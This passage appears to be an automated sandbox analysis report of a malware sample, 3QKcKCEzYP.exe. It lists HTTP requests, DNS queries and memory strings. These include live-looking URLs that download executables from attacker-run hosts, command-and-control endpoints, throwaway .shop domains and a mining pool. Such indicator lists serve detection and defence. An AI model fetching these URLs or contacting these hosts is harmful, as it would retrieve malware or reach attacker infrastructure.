Source: global traffic	HTTP traffic detected: GET /kleiseIche.exe#space HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: siscorp.mxCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jaliwYuqe.exe#space HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: siscorp.mxCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /attachments/1272461485628719179/1275658810836389929/setup.exe?ex=66c6b159&is=66c55fd9&hm=06dccc1459e975128b6048bb7dc7f7716e473fbfda4829e75986eb59000ab6b0& HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Cache-Control: no-cacheHost: cdn.discordapp.comConnection: Keep-AliveCookie: __cf_bm=ThydGiLNvD4JlFqYkDhmO3IHqMaxJzCC1fCsNAiwk10-1724221934-1.0.1.1-fvrE6Pm4ZoBzNkPuw_MoIAm8C4VY_YgpVwUDOBN2SvJ.qDQ95YjbGlD63RgZwmY7reqsLMGnBkNiT7CTmzBoCg; _cfuvid=811ittjpd4nqG2ymyjpMHL1NUpPFYuTQXahY9Yrh2sY-1724221934314-0.0.1.1-604800000
Source: global traffic	HTTP traffic detected: GET /1cN8u7 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Host: yip.su
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /api/crazyfish.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Host: 147.45.47.57
Source: global traffic	HTTP traffic detected: GET /api/crazyfish.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Host: 193.233.232.86
Source: global traffic	HTTP traffic detected: GET /StyleControls%20VCL.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: mcrogers.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66c1c5838f95f_file1808.exe#fileotr HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66c4c71a033c6_otr.exe#kisotr HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/525403 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 194.58.114.223Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66c2d861a5b4d_google.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66c3721bc46fe_Ernrnmkio.exe#14 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 193.176.190.41Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?cyQFFYXfMxTbmOSMGoSEriCQDgQhzEzaB HTTP/1.1Accept: /Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: www.rapidfilestorage.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?SidNhALqeWMHeUVSaoUjPLUFvKDZLJRHn HTTP/1.1Accept: /Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: helsinki-dtc.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?piuzkGLMGBsKoDuUzFpTTlIXNglIshTYt HTTP/1.1Accept: /Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: skrptfiles.tracemonitors.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?QAkpeBLpGKmBLvSqnBGYQFSiyrHVcHTeZ HTTP/1.1Accept: /Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: www.rapidfilestorage.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /clrls/cl_rls.json HTTP/1.1Host: www.rapidfilestorage.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?HqDPYSgSSTOASWztoUfpOUGOmVxVokMQW HTTP/1.1Accept: /Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: helsinki-dtc.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: www.rapidfilestorage.com
Source: global traffic	HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?wPWlRIeCdrmKoDDvpnFWyPWSQYRIBYyeG HTTP/1.1Accept: /Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: skrptfiles.tracemonitors.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: helsinki-dtc.com
Source: global traffic	HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: skrptfiles.tracemonitors.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com

Source: global traffic	DNS traffic detected: DNS query: api.myip.com
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: mcrogers.com
Source: global traffic	DNS traffic detected: DNS query: siscorp.mx
Source: global traffic	DNS traffic detected: DNS query: 240812161425945.tyr.zont16.com
Source: global traffic	DNS traffic detected: DNS query: cdn.discordapp.com
Source: global traffic	DNS traffic detected: DNS query: yip.su
Source: global traffic	DNS traffic detected: DNS query: pool.hashvault.pro
Source: global traffic	DNS traffic detected: DNS query: torubleeodsmzo.shop
Source: global traffic	DNS traffic detected: DNS query: potentioallykeos.shop
Source: global traffic	DNS traffic detected: DNS query: interactiedovspm.shop
Source: global traffic	DNS traffic detected: DNS query: charecteristicdxp.shop
Source: global traffic	DNS traffic detected: DNS query: api.2ip.ua
Source: global traffic	DNS traffic detected: DNS query: cagedwifedsozm.shop
Source: global traffic	DNS traffic detected: DNS query: deicedosmzj.shop
Source: global traffic	DNS traffic detected: DNS query: southedhiscuso.shop
Source: global traffic	DNS traffic detected: DNS query: consciousourwi.shop
Source: global traffic	DNS traffic detected: DNS query: weiggheticulop.shop
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: tenntysjuxmz.shop
Source: global traffic	DNS traffic detected: DNS query: service-domain.xyz
Source: global traffic	DNS traffic detected: DNS query: www.rapidfilestorage.com
Source: global traffic	DNS traffic detected: DNS query: helsinki-dtc.com
Source: global traffic	DNS traffic detected: DNS query: skrptfiles.tracemonitors.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: api5.check-data.xyz
Source: global traffic	DNS traffic detected: DNS query: cajgtus.com
Source: global traffic	DNS traffic detected: DNS query: claywyaeropumps.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: tenntysjuxmz.shop

Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367745124.0000024044D74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c1c5838f95f_file1808.exe#fileotr
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D77000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367745124.0000024044D74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c1c5838f95f_file1808.exe#fileotr/~
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D77000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367745124.0000024044D74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c1c5838f95f_file1808.exe#fileotrC:
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c1c5838f95f_file1808.exe#fileotrq
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c1c5838f95f_file1808.exe#fileotrws
Source: 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DE0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DE0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299869051.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044DBC000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DE0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299307403.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D70000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367989416.0000024044DC0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DA3000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2280049827.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2281002324.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2280049827.0000024044DE0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DA6000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c2d861a5b4d_google.exe
Source: 3QKcKCEzYP.exe, 00000000.00000003.2367502243.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299869051.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044DBC000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299307403.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367989416.0000024044DC0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2280049827.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2281002324.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c2d861a5b4d_google.exe82
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c2d861a5b4d_google.exeC:
Source: 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DA3000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DA6000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c2d861a5b4d_google.exehK
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c2d861a5b4d_google.exexe#14otram
Source: 3QKcKCEzYP.exe, 00000000.00000003.2281002324.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D77000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367745124.0000024044D74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c3721bc46fe_Ernrnmkio.exe#14
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D77000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367745124.0000024044D74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c3721bc46fe_Ernrnmkio.exe#14C:
Source: 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024043052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c3721bc46fe_Ernrnmkio.exe#14E
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c3721bc46fe_Ernrnmkio.exe#14K
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c3721bc46fe_Ernrnmkio.exe#14URE=
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c3721bc46fe_Ernrnmkio.exe#14dllmonc
Source: 3QKcKCEzYP.exe, 00000000.00000003.2299307403.0000024044DE0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DA6000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024042FCD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D77000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367745124.0000024044D74000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c4c71a033c6_otr.exe#kisotr
Source: 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024043052000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c4c71a033c6_otr.exe#kisotr-
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D77000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367745124.0000024044D74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c4c71a033c6_otr.exe#kisotrC:
Source: 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367502243.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299869051.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044DBC000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299307403.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367989416.0000024044DC0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2280049827.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2281002324.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c4c71a033c6_otr.exe#kisotrJ2
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c4c71a033c6_otr.exe#kisotrOMAIN_RO
Source: 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024042FCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66c4c71a033c6_otr.exe#kisotrxe
Source: 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024042F98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.57/Pc
Source: 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024042F78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.57/api/crazyfish.php
Source: MSBuild.exe, 0000000B.00000002.2407758499.0000000001587000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41
Source: MSBuild.exe, 0000000B.00000002.2407758499.00000000015CC000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000B.00000002.2407758499.0000000001587000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/
Source: MSBuild.exe, 0000000B.00000002.2407758499.00000000015C6000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000B.00000002.2407758499.00000000015CC000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000B.00000002.2407758499.0000000001587000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/2fa883eebd632382.php
Source: MSBuild.exe, 0000000B.00000002.2407758499.00000000015C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/2fa883eebd632382.phpm
Source: MSBuild.exe, 0000000B.00000002.2407758499.00000000015C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/2fa883eebd632382.phpq
Source: MSBuild.exe, 0000000B.00000002.2407758499.0000000001587000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.41/V5
Source: MSBuild.exe, 0000000B.00000002.2407758499.0000000001587000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.176.190.4165
Source: 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024042F98000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044DAD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.232.86/
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044DAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.232.86/.exe
Source: 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024042FA7000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024042FCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.232.86/api/crazyfish.php
Source: 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024042FA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.232.86/api/crazyfish.phpj:l
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.232.86/api/twofish.php
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.232.86/api/twofish.php~
Source: 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024042FA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.232.86:80/api/crazyfish.php~Z
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.232.86:80/api/twofish.php
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.232.86:80/api/twofish.phpntiVirusProductWindows
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044DBC000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DE0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299307403.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367989416.0000024044DC0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2280049827.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2281002324.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D77000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367745124.0000024044D74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.58.114.223/d/525403
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.58.114.223/d/525403A
Source: 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D77000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367745124.0000024044D74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.58.114.223/d/525403C:
Source: 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024043008000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.58.114.223/d/525403P
Source: 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299869051.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299307403.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2280049827.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2281002324.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.58.114.223/d/525403PG
Source: 3QKcKCEzYP.exe, 00000000.00000003.2367502243.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299869051.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299307403.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367989416.0000024044DC0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2280049827.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2281002324.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.58.114.223/d/525403mx/
Source: 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299869051.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299307403.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2280049827.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2281002324.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.58.114.223/d/525403tem32
